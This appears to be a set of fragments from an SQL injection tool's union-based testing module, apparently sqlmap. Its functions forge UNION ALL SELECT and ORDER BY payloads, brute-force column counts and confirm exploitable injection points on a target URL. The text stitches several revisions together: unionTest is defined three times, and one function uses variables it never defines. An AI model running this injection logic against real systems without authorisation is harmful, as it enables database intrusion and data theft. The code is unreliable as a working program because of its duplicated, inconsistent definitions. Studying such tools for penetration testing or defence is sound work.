def unionTest(): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ logMsg = "testing inband sql injection on parameter " logMsg += "'%s'" % kb.injParameter logger.info(logMsg) value = "" query = agent.prefixQuery(" UNION ALL SELECT NULL") for comment in (queries[kb.dbms].comment, ""): value = __effectiveUnionTest(query, comment) if value: setUnion(comment, value.count("NULL")) break if kb.unionCount: logMsg = "the target url could be affected by an " logMsg += "inband sql injection vulnerability" logger.info(logMsg) else: warnMsg = "the target url is not affected by an " warnMsg += "inband sql injection vulnerability" logger.warn(warnMsg) return value
def __unionPosition(expression, negative=False): global reqCount if negative: negLogMsg = "partial" else: negLogMsg = "full" infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg infoMsg += "'%s'" % kb.injParameter logger.info(infoMsg) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for exprPosition in range(0, kb.unionCount): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) if len(randQueryUnescaped) > len(expression): blankCount = len(randQueryUnescaped) - len(expression) expression = (" " * blankCount) + expression elif len(randQueryUnescaped) < len(expression): blankCount = len(expression) - len(randQueryUnescaped) randQueryUnescaped = (" " * blankCount) + randQueryUnescaped # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) payload = agent.payload(newValue=query, negative=negative) # Perform the request resultPage = Request.queryPage(payload, content=True) reqCount += 1 # We have to assure that the randQuery value is not within the # HTML code of the result page because, for instance, it is there # when the query is wrong and the back-end DBMS is Microsoft SQL # server htmlParsed = htmlParser(resultPage) if randQuery in resultPage and not htmlParsed: setUnion(position=exprPosition) break if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "%s inband sql injection vulnerability" % negLogMsg logger.info(infoMsg) else: warnMsg = "the target url is not affected by an exploitable " warnMsg += "%s inband sql injection vulnerability" % negLogMsg if negLogMsg == "partial": warnMsg += ", sqlmap will retrieve the query output " warnMsg += "through blind sql injection technique" logger.warn(warnMsg)
def __unionTestByCharBruteforce(comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) for count in range(conf.uColsStart, conf.uColsStop+1): if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] if count: query += ", %s" % conf.uChar if kb.dbms == DBMS.ORACLE: query += " FROM DUAL" validPayload = __unionConfirm(count, comment) if validPayload: setUnion(count=count) break return validPayload
def __unionPosition(negative=False, falseCond=False, count=None, comment=None): validPayload = None if count is None: count = kb.unionCount # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for exprPosition in range(0, count): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment) payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) if resultPage and randQuery in resultPage: setUnion(position=exprPosition) validPayload = payload break return validPayload
def unionTest(): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return if kb.unionTest is not None: return kb.unionTest if conf.uTech == "orderby": technique = "ORDER BY clause bruteforcing" elif conf.uChar == "NULL": technique = "NULL bruteforcing" else: technique = "char (%s) bruteforcing" % conf.uChar infoMsg = "testing inband sql injection on parameter " infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) logger.info(infoMsg) validPayload = None comment = queries[kb.dbms].comment.query if conf.uTech == "orderby": validPayload = __unionTestByOrderBy(comment) else: validPayload = __unionTestByCharBruteforce(comment) if validPayload: setUnion(comment=comment) if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "inband sql injection vulnerability " infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount) logger.info(infoMsg) else: infoMsg = "the target url is not affected by an exploitable " infoMsg += "inband sql injection vulnerability " infoMsg += "on parameter '%s'" % kb.injParameter logger.info(infoMsg) validPayload = agent.removePayloadDelimiters(validPayload, False) setUnion(payload=validPayload) return kb.unionTest
def __unionTestByOrderBy(comment): columns = None prevPayload = "" for count in range(conf.uColsStart, conf.uColsStop+1): query = agent.prefixQuery("ORDER BY %d" % count) orderByQuery = agent.suffixQuery(query, comment) payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond) _, seqMatcher = Request.queryPage(payload, getSeqMatcher=True) if seqMatcher >= 0.6: columns = count setUnion(count=count) elif columns: break prevPayload = payload return columns
def __unionConfirm(count=None, comment=None): validPayload = None # Confirm the inband SQL injection and get the exact column # position which can be used to extract data if not isinstance(kb.unionPosition, int): debugMsg = "testing full inband with %s columns" % count logger.debug(debugMsg) validPayload = __unionPosition(count=count, comment=comment) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): debugMsg = "testing single-entry inband value with %s columns" % count logger.debug(debugMsg) validPayload = __unionPosition(negative=True, count=count, comment=comment) # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position with negative # parameter validPayload if not isinstance(kb.unionPosition, int): # NOTE: disable false condition for the time being, in the # end it produces the same as prepending the original # parameter value with a minus (negative) #validPayload = __unionPosition(falseCond=True, count=count, comment=comment) # # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position by appending # a false condition after the parameter validPayload #if not isinstance(kb.unionPosition, int): # return None #else: # setUnion(falseCond=True) return None else: setUnion(negative=True) return validPayload
def unionTest(): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ if conf.uTech == "orderby": technique = "ORDER BY clause bruteforcing" else: technique = "NULL bruteforcing" infoMsg = "testing inband sql injection on parameter " infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) logger.info(infoMsg) value = "" columns = None for comment in (queries[kb.dbms].comment, ""): if conf.uTech == "orderby": value, columns = __unionTestByOrderBy(comment) else: value, columns = __unionTestByNULLBruteforce(comment) if columns: setUnion(comment, columns) break if kb.unionCount: __unionConfirm() else: warnMsg = "the target url is not affected by an " warnMsg += "inband sql injection vulnerability" logger.warn(warnMsg) return value